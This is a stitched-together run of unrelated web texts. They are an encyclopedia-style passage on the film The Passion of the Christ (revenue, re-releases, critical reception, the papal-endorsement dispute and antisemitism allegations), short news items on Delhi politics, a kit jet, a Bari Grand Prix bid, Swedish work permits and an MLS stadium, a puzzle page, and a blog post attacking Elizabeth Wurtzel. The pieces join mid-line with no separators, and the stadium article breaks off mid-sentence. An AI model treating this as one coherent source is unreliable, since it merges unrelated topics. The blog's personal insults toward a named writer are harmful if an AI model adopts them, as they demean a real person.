Despite the various controversies and refusals of certain governments to allow the film to be viewed in wide release, The Passion of the Christ earned $611,899,420 worldwide.[2] The film was also a relative success in certain countries with large Muslim populations,[54] such as in Egypt, where it ranked 20th overall in its box office numbers for 2004.[55] The film was the highest grossing non-English-language film of all time[56] until 2017, when it was surpassed by Wolf Warrior 2.[57]
Theatrical re-release [ edit ]
An edited version titled The Passion Recut was released on March 11, 2005, with five minutes of the most explicit violence deleted to broaden the audience. Gibson explained his reasoning for the new version of the film:
After the initial run in movie theaters, I received numerous letters from people all across the country. Many told me they wanted to share the experience with loved ones but were concerned that the harsher images of the film would be too intense for them to bear. In light of this I decided to re-edit The Passion of the Christ.[58]
Despite the attempt to tone down the content, the Motion Picture Association of America still deemed the film too violent to rate PG-13, so Gibson released it as unrated.[58] The re-release showed for three weeks.[59]
Home media [ edit ]
On August 31, 2004, the film was released on DVD,[60] VHS, and later D-VHS in North America by 20th Century Fox Home Entertainment. As with the original theatrical release, the film's release on home video formats proved to be very popular. Early reports indicated that over 2.4 million copies of the film were sold by the middle of the day. The film was available on DVD with English and Spanish subtitles and on VHS tape with English subtitles. The film was released on Blu-ray in North America as a two-disc Definitive Edition set on February 17, 2009.[61] It was also released on Blu-ray in Australia a week before Easter.[citation needed]
Although the original DVD release sold well, it contained no extra materials other than soundtrack language selections. The no-frills edition provoked speculation about when a special edition would be released. On January 30, 2007, a two-disc Definitive Edition was released in the North American markets, and March 26 elsewhere. It contains several documentaries, soundtrack commentaries, deleted scenes, outtakes, the 2005 unrated version, and the original 2004 theatrical version.[62]
The British version of the two-disc DVD contains two additional deleted scenes. In the first, Jesus meets the women of Jerusalem (at the eighth station of the cross) and falls to the ground as the women wail around him, and Simon of Cyrene attempts to hold up the cross and help up Jesus simultaneously. Afterwards, while both are holding up the cross, Jesus says to the women weeping for him, "Do not weep for me, but for yourselves and for your children". In the second, Pilate washes his hands, turns to Caiaphas, and says: "Look you to it" (i.e., the Pharisees wish to have Jesus crucified). Pilate then turns to Abanader and says: "Do as they wish". The scene next shows Pilate calling to his servant, who is carrying a wooden board on which Pilate writes, "Jesus of Nazareth king of the Jews", in Latin and Hebrew. He then holds the board above his head in full view of Caiaphas, who after reading it challenges Pilate on its content. Pilate replies angrily to Caiaphas in non-subtitled Hebrew. The disc contains only two deleted scenes in total. No other scenes from the movie are shown on disc 2.[63]
On February 7, 2017, 20th Century Fox re-released the film on Blu-ray and DVD featuring both cuts. Only the original theatrical version is dubbed in English and Spanish;[64] this marks the first time the film has ever been dubbed in another language.
Television broadcast [ edit ]
On April 17, 2011 (Palm Sunday), Trinity Broadcasting Network (TBN) presented the film at 7:30 pm ET/PT, with multiple showings scheduled. The network has continued to air the film throughout the year, and particularly around Easter.[65]
On March 29, 2013 (Good Friday), as a part of their special Holy Week programming, TV5 presented the Filipino-dubbed version of the film at 2:00 pm (PST, UTC+8) in the Philippines. Its total broadcast ran for two hours, but excluding the advertisements, it would only run up for approximately one hour instead of its full run time of two hours and six minutes. It ended exactly at 4:00 p.m. It has been rated SPG by the Movie and Television Review and Classification Board (MTRCB) for themes, language and violence with some scenes censored for television. TV5 is the first broadcast network outside of the United States and dubbed the Vernacular Hebrew and Latin language to Filipino (through translating its supplied English subtitles).
Reception [ edit ]
Critical response [ edit ]
The Passion of the Christ polarized critics: Jim Caviezel's performance, the musical score, the sound, the makeup, and the cinematography were praised, while the film's graphic violence and alleged antisemitic undertones were singled out for criticism. On the review aggregator Rotten Tomatoes, the film holds an approval rating of 49% based on 275 reviews, with an average rating of 5.9/10. The website's critical consensus reads, "The graphic details of Jesus' torture make the movie tough to sit through and obscure whatever message it is trying to convey."[66] On Metacritic, the film has a weighted average score of 47 out of 100 based on 43 critics, indicating "mixed or average" reviews.[67] CinemaScore reported that audiences gave the film a rare "A+" grade.[68] One of fewer than 80 films in the history of the service to receive such a score. In a positive review for Time, Richard Corliss called The Passion of the Christ "a serious, handsome, excruciating film that radiates total commitment."[67] New York Press film critic Armond White praised Gibson's direction, comparing him to Carl Theodor Dreyer in how he transformed art into spirituality.[69] Roger Ebert from the Chicago Sun-Times gave the movie four out of four stars, calling it "the most violent film I have ever seen" as well as reflecting on how the film personally impacted him as a former altar boy saying "What Gibson has provided for me, for the first time in my life, is a visceral idea of what the Passion consisted of. That his film is superficial in terms of the surrounding message -- that we get only a few passing references to the teachings of Jesus -- is, I suppose, not the point. This is not a sermon or a homily, but a visualization of the central event in the Christian religion. Take it or leave it."[70] In a negative review, Slate magazine's David Edelstein called it "a two-hour-and-six-minute snuff movie",[71] while Jami Bernard of the New York Daily News felt it was "the most virulently anti-Semitic movie made since the German propaganda films of World War II".[72] Writing for the Dallas Observer, Robert Wilonsky said he found the movie "too turgid to awe the nonbelievers, too zealous to inspire and often too silly to take seriously, with its demonic hallucinations that look like escapees from a David Lynch film; I swear I couldn't find the devil carrying around a hairy-backed midget anywhere in the text I read."[67]
The June 2006 issue of Entertainment Weekly named The Passion of the Christ the most controversial film of all time, followed by Stanley Kubrick's A Clockwork Orange (1971).[8] In 2010, Time listed it as one of the most "ridiculously violent" films of all time.[73]
Independent promotion and discussion [ edit ]
A number of independent websites such as MyLifeAfter.com and Passion-Movie.com were launched to promote the film and its message and to allow people to discuss the film's effect on their lives. Documentaries such as Changed Lives: Miracles of the Passion chronicled stories of miraculous savings, forgiveness, new-found faith, and the story of a man who confessed to murdering his girlfriend after authorities determined her death was due to suicide.[74] Another documentary, Impact: The Passion of the Christ, chronicled the popular response of the film in the United States, India, and Japan and examined the claims of antisemitism against Mel Gibson and the film.[citation needed]
Accolades [ edit ]
Wins
Nominations
Other honors The film was nominated in the following categories for American Film Institute recognition:
Controversies [ edit ]
Questions of historical and biblical accuracy [ edit ]
Despite criticisms that Gibson deliberately added material to the historical accounts of first-century Judea and biblical accounts of Christ's crucifixion, some scholars defend the film as not being primarily concerned with historical accuracy. Biblical scholar Mark Goodacre protested that he could not find one documented example of Gibson explicitly claiming the film to be historically accurate.[79][80] Gibson has been quoted as saying: "I think that my first duty is to be as faithful as possible in telling the story so that it doesn't contradict the Scriptures. Now, so long as it didn't do that, I felt that I had a pretty wide berth for artistic interpretation, and to fill in some of the spaces with logic, with imagination, with various other readings."[81] One such example is a scene in which Satan is seen carrying a demonic baby during Christ's flogging, construed as a perversion of traditional depictions of the Madonna and Child, and also as a representation of Satan and the Antichrist. Gibson's description:
It's evil distorting what's good. What is more tender and beautiful than a mother and a child? So the Devil takes that and distorts it just a little bit. Instead of a normal mother and child you have an androgynous figure holding a 40-year-old 'baby' with hair on his back. It is weird, it is shocking, it's almost too much – just like turning Jesus over to continue scourging him on his chest is shocking and almost too much, which is the exact moment when this appearance of the Devil and the baby takes place.[82]
When asked about the film's faithfulness to the account given in the New Testament, Father Augustine Di Noia of the Vatican's Doctrinal Congregation replied: "Mel Gibson's film is not a documentary... but remains faithful to the fundamental structure common to all four accounts [of the Gospels]" and "Gibson's film is entirely faithful to the New Testament".[83]
Disputed papal endorsement [ edit ]
In early December 2003, Passion of the Christ co-producer Stephen McEveety provided the film to Archbishop Stanisław Dziwisz, the pope's secretary. Archbishop Dziwisz returned the film to McEveety and said he had watched it with John Paul II. On December 16, Daily Variety reported that the pope had seen the film, and on December 17, The Wall Street Journal columnist Peggy Noonan reported that John Paul II had said: "It is as it was," sourcing McEveety, who said he heard it from Dziwisz.[3] National Catholic Reporter journalist John Allen published a similar account on the same day, quoting an unnamed senior Vatican official.[84] The following day, Reuters and the Associated Press each independently confirmed the story, citing Vatican sources.[84][85] On December 24, an anonymous Vatican official told Catholic News Service, "There was no declaration, no judgment from the pope." On January 9, John Allen defended his earlier reporting, saying that his official source was adamant about the veracity of the original story.[86] In a January 18 column, Frank Rich interviewed the Italian translator who quoted Dziwisz as saying that the pope called the film "incredible" and said "it is as it was." Rich attacked the marketing of the film and suggested Dziwisz wielded too much influence over the pope. The next day Archbishop Dziwisz told CNS, "The Holy Father told no one his opinion of this film."[87] This denial resulted in a round of commentators who accused the film producers of fabricating a papal quote to market their movie.[citation needed]
However, the Icon Productions spokesman stood by the story, and a source close to the situation said McEveety had asked for and received Vatican officials' permission to repeat the "It is as it was" statement before speaking to Noonan.[88] Journalist Rod Dreher reported that McEveety had received an e-mail from papal spokesman Dr. Joaquin Navarro-Valls on December 28, backing the Noonan account and ending: "I would try to make the words 'It is as it was' the leit motive [sic] in any discusion [sic] on the film. Repeat the words again and again and again."[89]
Peggy Noonan had also received e-mail confirmation of the quote from Navarro-Valls before writing her December 17 column. Complicating the situation, Navarro-Valls told Dreher that the e-mail sent to McEveety was not genuine, suggesting it was fabricated. However, Noonan later verified that all of the Navarro-Valls e-mails came from the same Vatican IP address.[85] The Los Angeles Times reported that they had previously confirmed the accuracy of the quote from Navarro-Valls when the story first broke. On CNN, John Allen reported Vatican sources who claim to have heard Dziwisz on other occasions affirm the accuracy of the quotation.[90]
On January 22, Navarro-Valls released the following official statement:
The film is a cinematographic transposition of the historical event of the Passion of Jesus Christ according to the accounts of the Gospel. It is a common practice of the Holy Father not to express public opinions on artistic works, opinions that are always open to different evaluations of aesthetic character.[84]
Allegations of antisemitism [ edit ]
Before the film was released, there were prominent criticisms of perceived antisemitic content in the film. 20th Century Fox told New York Assemblyman Dov Hikind they had passed on distributing the film in response to a protest outside the News Corporation building. Hikind warned other companies that "they should not distribute this film. This is unhealthy for Jews all over the world."[35]
A joint committee of the Secretariat for Ecumenical and Inter-religious Affairs of the United States Conference of Catholic Bishops and the Department of Inter-religious Affairs of the Anti-Defamation League obtained a version of the script before it was released in theaters. They released a statement, calling it
one of the most troublesome texts, relative to anti-Semitic potential, that any of us had seen in twenty-five years. It must be emphasized that the main storyline presented Jesus as having been relentlessly pursued by an evil cabal of Jews, headed by the high priest Caiaphas, who finally blackmailed a weak-kneed Pilate into putting Jesus to death. This is precisely the storyline that fueled centuries of anti-Semitism within Christian societies. This is also a storyline rejected by the Roman Catholic Church at Vatican II in its document Nostra aetate, and by nearly all mainline Protestant churches in parallel documents.... Unless this basic storyline has been altered by Mr. Gibson, a fringe Catholic who is building his own church in the Los Angeles area and who apparently accepts neither the teachings of Vatican II nor modern biblical scholarship, The Passion of the Christ retains a real potential for undermining the repudiation of classical Christian anti-Semitism by the churches in the last forty years.[91]
The ADL itself also released a statement about the yet-to-be-released film:
For filmmakers to do justice to the biblical accounts of the passion, they must complement their artistic vision with sound scholarship, which includes knowledge of how the passion accounts have been used historically to disparage and attack Jews and Judaism. Absent such scholarly and theological understanding, productions such as The Passion could likely falsify history and fuel the animus of those who hate Jews.[92]
Rabbi Daniel Lapin, the head of the Toward Tradition organization, criticized this statement, and said of Abraham Foxman, the head of the ADL, "what he is saying is that the only way to escape the wrath of Foxman is to repudiate your faith".[93]
In The Nation, reviewer Katha Pollitt said: "Gibson has violated just about every precept of the United States Conference of Catholic Bishops own 1988 'Criteria' for the portrayal of Jews in dramatizations of the Passion (no bloodthirsty Jews, no rabble, no use of Scripture that reinforces negative stereotypes of Jews, etc.) [...] The priests have big noses and gnarly faces, lumpish bodies, yellow teeth; Herod Antipas and his court are a bizarre collection of oily-haired, epicene perverts. The 'good Jews' look like Italian movie stars (Italian sex symbol Monica Bellucci is Mary Magdalene); Jesus's mother, who would have been around 50 and appeared 70, could pass for a ripe 35."[94] Jesuit priest Fr. William Fulco, S.J., of Loyola Marymount University—and the film's Hebrew dialogue translator—specifically disagreed with that assessment, and disagreed with concerns that the film accused the Jewish community of deicide.[95]
One specific scene in the film perceived as an example of anti-Semitism was in the dialogue of Caiaphas, when he states "His blood [is] on us and on our children!", a quote historically interpreted by some as a curse taken upon by the Jewish people. Certain Jewish groups asked this be removed from the film. However, only the subtitles were removed; the original dialogue remains in the Hebrew soundtrack.[96] When asked about this scene, Gibson said: "I wanted it in. My brother said I was wimping out if I didn't include it. But, man, if I included that in there, they'd be coming after me at my house. They'd come to kill me."[97] In another interview when asked about the scene, he said, "It's one little passage, and I believe it, but I don't and never have believed it refers to Jews, and implicates them in any sort of curse. It's directed at all of us, all men who were there, and all that came after. His blood is on us, and that's what Jesus wanted. But I finally had to admit that one of the reasons I felt strongly about keeping it, aside from the fact it's true, is that I didn't want to let someone else dictate what could or couldn't be said."[98]
Additionally, the film's suggestion that the Temple's destruction was a direct result of the Sanhedrin's actions towards Jesus could also be interpreted as an offensive take on an event which Jewish tradition views as a tragedy, and which is still mourned by many Jews today on the fast day of Tisha B'Av.[99]
Asked by Bill O'Reilly if his movie would "upset Jews", Gibson responded, "It's not meant to. I think it's meant to just tell the truth. I want to be as truthful as possible."[100] In an interview for The Globe and Mail, he added: "If anyone has distorted Gospel passages to rationalize cruelty towards Jews or anyone, it's in defiance of repeated Papal condemnation. The Papacy has condemned racism in any form.... Jesus died for the sins of all times, and I'll be the first on the line for culpability".[101]
Conservative columnist Cal Thomas also disagreed with allegations of anti-Semitism, saying "To those in the Jewish community who worry that the film [...] might contain anti-Semitic elements, or encourage people to persecute Jews, fear not. The film does not indict Jews for the death of Jesus."[102] Two Orthodox Jews, Rabbi Daniel Lapin and conservative talk-show host and author Michael Medved, also vocally rejected claims that the film is anti-Semitic. They have noted the film's many sympathetic portrayals of Jews: Simon of Cyrene (who helps Jesus carry the cross), Mary Magdalene, the Virgin Mary, St. Peter, St. John, Veronica (who wipes Jesus' face and offers him water) and several Jewish priests who protest Jesus' arrest (Nicodemus and Joseph of Arimathea) during Caiaphas' trial of Jesus.
Bob Smithouser of Plugged in Online believed that film was trying to convey the evils and sins of humanity rather than specifically targeting Jews, stating: "The anthropomorphic portrayal of Satan as a player in these events brilliantly pulls the proceedings into the supernatural realm—a fact that should have quelled the much-publicized cries of anti-Semitism since it shows a diabolical force at work beyond any political and religious agendas of the Jews and Romans."[103]
Moreover, Senior Vatican officer Cardinal Darío Castrillón Hoyos, who has seen the film, addressed the matter so:
Anti-Semitism, like all forms of racism, distorts the truth in order to put a whole race of people in a bad light. This film does nothing of the sort. It draws out from the historical objectivity of the Gospel narratives sentiments of forgiveness, mercy, and reconciliation. It captures the subtleties and the horror of sin, as well as the gentle power of love and forgiveness, without making or insinuating blanket condemnations against one group. This film expressed the exact opposite, that learning from the example of Christ, there should never be any more violence against any other human being.[104]
South Park parodied the controversy in the episodes "Good Times with Weapons", "Up the Down Steroid" and "The Passion of the Jew", all of which aired just a few weeks after the film's release.
Criticism of excessive violence [ edit ]
Several critics were troubled by the film's extensive, detailed violence, and especially cautioned parents to avoid taking their children to the cinema. Film critic Roger Ebert, who gave the film a 4/4 star rating, said in his review:
The movie is 126 minutes long, and I would guess that at least 100 of those minutes, maybe more, are concerned specifically and graphically with the details of the torture and death of Jesus. This is the most violent film I have ever seen.[105]
Ebert also stated that the R-rated film should have instead been rated NC-17 in a "Movie Answer Man" response, adding that no level-minded parent should ever allow children to see it.[106]
Film historian Michael Gurnow, in an April 2008 cover story for American Atheists, stated much the same, labeling the work a mainstream snuff film.[107]
A. O. Scott, in The New York Times, said: "The Passion of the Christ is so relentlessly focused on the savagery of Jesus' final hours that this film seems to arise less from love than from wrath, and to succeed more in assaulting the spirit than in uplifting it."[108] David Edelstein, Slate's film critic, dubbed the film "a two-hour-and-six-minute snuff movie — The Jesus Chainsaw Massacre — that thinks it's an act of faith", and further criticized Gibson for focusing on the brutality of Jesus' execution, instead of his religious teachings.[109]
During Diane Sawyer's interview of him, Gibson said:
I wanted it to be shocking; and I wanted it to be extreme... So that they see the enormity — the enormity of that sacrifice; to see that someone could endure that and still come back with love and forgiveness, even through extreme pain and suffering and ridicule. The actual crucifixion was more violent than what was shown on the film, but I thought no one would get anything out of it.[citation needed]
Sequel [ edit ]
In June 2016, it was announced that Mel Gibson is working on a sequel to The Passion of the Christ, focusing on the resurrection of Jesus. The screenwriter is Randall Wallace, who wrote the screenplay for Braveheart (1995).[110] Gibson has expressed an interest in directing the film. He also said that the film will come out in a few years since it is a big project.[111] In November 2016, Gibson confirmed that the title of the sequel would be The Resurrection of the Christ and implied that part of the movie would be taking place in Hell, stating that the film would explore what happened in the three-day period between the death of Jesus and his return. He also revealed that the film would probably be about three years away, because of its massive undertaking.[112] In January 2018, Jim Caviezel confirmed that he will reprise his role as Jesus in the sequel. Filming will begin in early 2019. The film is scheduled for release in late 2019 or Easter 2020.[113]
See also [ edit ]New Delhi: The AAP government on Wednesday claimed that the steps taken by it in Delhi have played a "vital role in improving India's ranking on the World Bank's 'ease of doing business' index.
Deputy chief minister Manish Sisodia also took a jibe a the Centre, asking it "not to hamper" his government's work for one year on an "experimental basis" which will result in the improvement of India's ranking worldwide in other sectors like education and health.
"It is a proud moment for us that country has improved 3 ranks to 100th in 'ease of doing business' in World Bank' report. Delhi has played a vital role in this," he told reporters.
Sisodia said since the Aam Aadmi Party government was formed, doing business has been "easier" in the city wit introduction of several initiatives including online industry licence and eradication of "inspector-raj".
"In the last two years, doing business has been easier in Delhi. Getting an industry licence has been simple with online facility. Applicants can get the licence within a day, Sisodia, who also holds the finance portfolio, said.
The deputy chief minister said the AAP government has introduced a single-window system in several sectors, adding that earlier tourism department's inspectors used to make a visit for restaurant licence which has been ended.
"If the Delhi government works, there is eradication o inspector-raj, progress in business...If Delhi government works, you (Centre) get the credit and the name of the country will shine," he said.
Sisodia also asked the Centre not to "waste the time" o the ED and the CBI "for unwarranted works".
"There are several areas where these agencies should d work. Don't trouble officers again and again. If they (Centre allow us to work, the credit of the good work by Delhi in health, education will go to them (the Centre)," he said.
The Arvind Kejriwal government and the Centre have bee at loggerheads on a range of issues including transfer an posting of officers and city administration's proposals.
In the past, Kejriwal has also attacked Prime Minister Narendra Modi and accused the BJP-led government at the centre of creating "hurdles" in the works of AAP government.
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.OSHKOSH — Sonex Aircraft has launched a new sales strategy for the SubSonex Personal Jet, with a reduced airframe price to put this aircraft into the hands of more pilots.
The SubSonex package is now available in separate purchases of Airframe, PBS TJ-100 engine, optional
BRS package, and other optional accessories.
The SubSonex airframe is available as an Experimental-Amateur Built-compliant Quick Build kit package for $42,000. The airframe kit only needs engine, avionics, upholstery and finishing materials in order to fly, offering a “Sub-100 SubSonex” kit plus engine package for $97,000, and allowing customers to split those costs over the span of the aircraft’s build time, according to company officials.
“At this phase of the aircraft’s development, many previously-unknown cost factors have been defined, and we can apply more-efficient costing and Quick Build construction processes to produce the kit,” said Sonex GM Mark Schaible. “The SubSonex program has reached a tremendous level of maturity in its design and production phases of development. The aircraft has reached a level of maturity when it comes to flight test and fleet hours with reliable service as well, thanks in large part to the efforts of Bob Carlton flying many test flight hours in JSX-2 N141SJ, plus multiple aerobatic performances (day and night) at nine airshows during the 2015 show season with many practice and media flights.”
Sonex now has its second JSX-2 prototype flying, N241SJ, along with first flights of the first customer-built SubSonex by Redge Greenberg.
Milestones in pilot certification have also been passed, with 10 LOAs issued to date for the SubSonex design, which further cements a place for the SubSonex within FAA policy, he noted.Apparently this is an IQ test given to job applicants in Japan "Everybody has to cross the river" To play, read the rules and then click on the link below The following rules apply: Only 2 persons on the raft at a time.
The father can not stay with any of the daughters, without their mother's presence.
The mother can not stay with any of the sons, without their father's presence.
The thief (striped shirt) can not stay with any family member, if the Policeman is not there.
Only the Father, the Mother and the Policeman know how to operate the raft. To move the people click on them. To move the raft click on the pole on the opposite side of the river. Click Here to Start (then click on the large circle containing Japanese letters) Be patient - it will take about 20 seconds to load Email me if you want the solution. It can be done. It's NOT a trick! Put in the Subject: "Japanese IQ Solution Request" email: bob@ranaldofamily.com [HomePage] [Back to Fun Stuff Page]Members of the group led by Italian Fabio Montecalvo are already believed to have secured 200 million Euros in investment for the project, which has begun a push to build up the further support required to make it a reality.
Montecalvo is president of sports marketing company FM Communication and it is understood he has backing from businessmen Ahmed Al Alaija and Naijd Al Khalifa.
The hope is for a street race around the Fiera del Levante area of Bari, which will include a stretch running alongside the sea front.
Part of the dramatic plans will include the construction of a grandstand and Paddock Club hospitality areas floating on the water.
Although Bari is on the Adriatic coast, the Mediterranean GP idea is understood to be one favoured as a bid of promoting countries in that region.
Roadshow events
Representatives of the Montecalvo group met with Ecclestone at the Monaco Grand Prix to discuss the idea, and have held their latest promotional event in Austria this weekend to drum up further interest.
They are holding an international roadshow, called '#BeatochimiPuglia!" to promote the race and explain the plans. It held its first event at the Monaco Grand Prix and had another stop in Austria this weekend.
Bari is no stranger to F1 and held grand prix races for sportscars and Formula 1 on a street circuit in the city between 1947 and 1956.The law change, which is expected to come into force from December 2017, is a response to the "Kafkaesque" situation some companies currently find themselves in, according to Sweden's Justice and Migration Minister Morgan Johansson:
"If it's a small unintentional mistake there has to be the possibility to fix the error".
There have been several high profile cases in the last year of immigrant workers being handed deportation decisions by Sweden over technical errors made by previous employers.
One example is Tayyab Shabab, a developer described as a "world class talent" who despite having a steady job, had an application for a work permit extension rejected by the Swedish Migration Agency (Migrationsverket) because they discovered a previous employer forgot to take out occupational pension insurance for him.
He is now taking his case to the Migration Court of Appeal (Migrationsöverdomstolen), the highest migration court in Sweden, after Stockholm's Migration Court judged that he should be deported in accordance with Migrationsverket's original decision.
READ ALSO: Star developer loses fight against deportation from Sweden
The mistakes are often only detected when someone applies for a work permit extension and the agency looks into their records. The law change will allow Migrationsverket to decide not to revoke residence permits in such cases.
Today's strict rules are designed to prevent employers from exploiting migrant workers by giving them poorer working conditions than promised. Deputy Finance Minister Per Bolund thinks the new change will not make it any easier to exploit workers as it only applies to employers who correct the errors before Migrationsverket has filed a complaint about them.
"The risk is very, very small. I believe that there's a pretty broad understanding that the rules are unnecessarily rigid," he noted.
The government also wants to make the rules more flexible in cases where an employer was not able to fix the mistake before Migrationsverket notified them about it, but a law change in that regard is to be investigated first.
And they will soon also propose an additional law change for sanctions against employers who deliberately broke rules.
READ ALSO: Foreign workers to form human chain to stop deportationRobert Stolarik for The New York Times
Major League Soccer dipped its figurative toes in the Hudson River, downtown along Manhattan’s West Side, as it considered building a new stadium at Pier 40. The league, which seems committed to placing its 20th team in New York City, also scoped out more than a dozen other possible locations — including the West Side Yards; Greenpoint, Brooklyn; Willets Point; and the Kingsbridge Armory in the Bronx.
Now, according to an article in The Wall Street Journal, that search has shifted from Manhattan to Queens, specifically to Flushing Meadows-Corona Park, the site of World’s Fairs in 1939 and 1964.
According to the article, M.L.S. officials have been recently working with city officials on designs for a new 20,000- to 25,000-seat stadium that could be built on about eight acres in the northern part of the park. The park is already home to the United States National Tennis Center and is just over the tracks (subway and Long Island Railroad) from Citi Field, home of Major League Baseball’s Mets. The park has long been home to Hispanic soccer leagues and the three-year-old Cosmos Copa tournament.
Building the stadium on city-owned land was probably recognized by the league as the path of least resistance. Mayor Michael R. Bloomberg’s plans for a vast redevelopment of Willets Point, now home to a collection of auto parts stores, could take years to reach fruition. On the West Side of Manhattan, hearings on the Pier 40 site disclosed that it would take more than $100 million simply to prepare the decaying infrastructure to accommodate a new stadium.
According to the article, the league says it would take probably two years to complete construction of the privately financed stadium, after it receives the necessary approval from city and state officials. The Journal added that part of the league’s proposal is the construction of new soccer fields for public use, a cricket field and volleyball courts.
Using the slogan “the world’s game should be played in the world’s park,” Dan Courtemanche, the league’s vice president for communications, told The Gothamist Web site that: “Our goal is to have a second team in New York at the earliest opportunity. The New York market is a priority, but it may take a couple of years before we have the team and stadium finalized. We believe another team in New York will build upon the momentum the Red Bulls have and ultimately create one of soccer’s great rivalries similar to what we see around the world in cities like London and Buenos Aires.”
The Red Bulls are now playing their third season at Red Bull Arena in Harrison, N.J., a stadium that cost the beverage company Red Bull more than $200 million to build and that has mired the city of Harrison with perhaps crushing debt.
If the league lands its 20th team (M.L.S. added a 19th team in Montreal this season) in New York City, who owns the team and what it will be called remains an open question. The stories Cosmos, who ruled over the North American Soccer League in the 1970s and ’80s before the league folded, have new deep-pocketed owners who are interested in playing in M.L.S. but who have also expressed an interest in playing in the lower division N.A.S.L., perhaps at Hofstra University in Hempstead, N.Y., on Long Island.
M.L.S. Commissioner Don Garber continues to |
was alone in a lonely apartment with only a stalker to show for my accomplishments and my years. I was amazed to discover that, according to The Atlantic, women still can’t have it all. Bah! Humbug! Women who have it all should try having nothing: I have no husband, no children, no real estate, no stocks, no bonds, no investments, no 401(k), no CDs, no IRAs, no emergency fund—I don’t even have a savings account. It’s not that I have not planned for the future; I have not planned for the present. I do have a royalty account, some decent skills, and, apparently, a lot of human capital. But because of choices I have made, wisely and idiotically, because I had principles or because I was crazy, I have no assets and no family. I have had the same friends since college, although as time has gone on, the daily nature of those relationships has changed, such that it is not daily at all. But then how many lost connections make up a life? There is my best friend from law school, too busy with her toddler; the people with whom I spent New Year’s in a Negril bungalow not so long ago, all lost to me now; every man who was the love of my life, just for today; roommates, officemates, classmates: For everyone who is near, there are others who are far gone.
She says she has “spent [her] freedom carelessly, and with great gratitude,” and:
I was born with a mind that is compromised by preternatural unhappiness, and I might have died very young or done very little. Instead, I made a career out of my emotions. And now I am just quarreling with normal. I believe in true love and artistic integrity—the kinds of things that should be mentioned between quotation marks—as absolutely now as I did in ninth grade. But even I know that functional love includes a fair amount of falsity, or no one would get through morning coffee, and integrity is mostly a heroic excuse to avoid the negotiating table. But I can’t let go. I live in the chaos of adolescence, even wearing the same pair of 501s. As time goes by.
Horribly sad. A wasted life. I have friends who are immensely talented, kind, giving, hard-working, beloved by all who know them, the kind of people who would take a bullet for you — and who through no real fault of their own (as far as I can tell) find themselves in similar midlife personal and career crises. Wurtzel has had far, far more opportunities than they have had, and by her own stupidity, petulance, and selfishness — things she pretty much concedes in this essay — she has created this miserable life for herself.
You’re thinking by now that Elizabeth Wurtzel has written a downtown faded-hipster version of the early Eighties, one-hit wonder ballad “I’ve Never Been To Me,” in which an aged jet-setter mourns for the more meaningful, if prosaic, life she could have had if she had been willing to give up hedonistic pleasures for the promise of committed love, and children.
And then you read that poor Elizabeth considers her lifestyle as evidence of her superior philosophical and artistic integrity. She says:
I am committed to feminism and don’t understand why anyone would agree to be party to a relationship that is not absolutely equal. I believe women who are supported by men are prostitutes, that is that …
Ah. See, that’s my wife she’s talking about, and the wives of many of my friends. I don’t feel especially compelled to answer this snide remark of a drying-out husk of a woman like Elizabeth Wurtzel, but it is useful, I think, to point to this as perhaps the most vivid example of why Elizabeth Wurtzel is such a horrible, miserable person. She is incapable of really loving anyone but herself. I think of how my life works, with my wife — the same way every family I know in which the mom stays at home works — and I instantly grasp that what Elizabeth Wurtzel doesn’t know about love and marriage is a lot. I have a good career as a writer, and provide well financially for my family. Because we have been blessed in particular ways, it’s been easier to make that choice. But we made that choice for me to be the sole breadwinner as soon as we decided to start a family — and I was making a lot less money then. It’s one of the main reasons we decided to leave New York City back in 2003: we knew we couldn’t afford the number of kids we wanted to have, or the security we owed them, if we stayed in New York on my writer’s salary.
Julie said to me one night as we were walking home from dinner on Smith Street in Brooklyn, pushing our son in his stroller: “New York is your first love, and it’s so passionate, but the day finally comes when you realize this is not the one to marry.” And then she said something like, “Living in New York is like living in Disneyworld: everything is more intense than real life, and costs five times as much.”
Don’t misunderstand: we absolutely loved New York City. I cried like a baby on the day I left for good, and several times after that too. Those were some of the happiest years of our life together — we started our married life together there –and we have no regrets about them. But we knew that they would have to end someday, because our own lives had become less intense and more prosaic, and the pleasures available to us as parents were different, and frankly, more attractive. This is one of those things that’s hard to see when you’re single, or newly married without children. But for most of us, once we cross the line into parenthood, we see the world differently. That is, if we’re doing it right.
Anyway, the only way I could have the life I have, professionally and personally, is because my life is not my own: I am one half of a conjoined life. I support my wife financially; she supports me in every other way. If she weren’t here to give that support — tirelessly, faithfully, without faltering or complaint, even when I give her every reason to complain — the successful, fulfilling, meaningful career I’ve built for myself would probably fall apart. I know I personally would fall apart, because I knew what a sad, lonely, intensely anxious man I was before I married her, and that I would be again without her. Without her and our children.
As I was reading the Wurtzel essay last night, my six-year-old daughter padded into the bedroom in her flannel pajamas. “Goodnight, Daddy,” she said, and bent over the bed to kiss me.
“Goodnight sweet girl,” I said, drawing her close and kissing her forehead. “You make me so happy.”
She hid her grin behind the curls falling over her eyes, and ran back to bed.
My wife — my homeschooling, bill-paying, family-organizing, house-managing wife — makes this life possible for me. For all of us. And, I think it worth saying, by the work I do to bring money into the house, I make the good things she has and does possible for her. For all of us. If either of us were to go, it would come close to falling apart. With luck, skill, and a lot of help from our friends, it wouldn’t fall apart, but it would be deeply diminished.
Every single family I know in which the husband is the sole breadwinner works the same way. I know some who make a lot more money than I do, and I know others who make a lot less than I do. But all of us husbands and wives — maybe because we’re all serious Christians, I dunno — understand love in marriage as a mutual sacrifice. The thing is, I’d say most of the families I know in which both parents work, either by choice or necessity, see marriage in the same way. These days, given how easy and common divorce is, if you didn’t see it that way, I don’t know how in the world you’d make it.
Prostitute. What does Elizabeth Wurtzel know about prostitution? It seems to me that one who makes money, status, and power relations the measure of the integrity of love between a man and a woman is a lot closer to having a prostitute’s mindset than she may think.
Marriage and children are the ordinary means to fulfillment, but they aren’t the only ones. The people to pity are those who desperately wanted marriage, but never found it, or had it taken from them by death or divorce. But to pity or admire someone like Wurtzel? Forget it. It’s not everyone’s desire to marry or settle down with a partner, but if that’s the choice you make, then own it. Regretting that you took the wrong path is a way of taking responsibility for your own freedom. I suppose you could say that Wurtzel is taking a kind of responsibility for her choices by writing an essay in which she concedes that she’s pretty much ruined her life, but doesn’t regret it because she has been true to herself. I don’t buy it. She thinks she’s saying, “My country, right or wrong,” but, to steal a line from Chesterton, she’s really saying, “My mother, drunk or sober.”
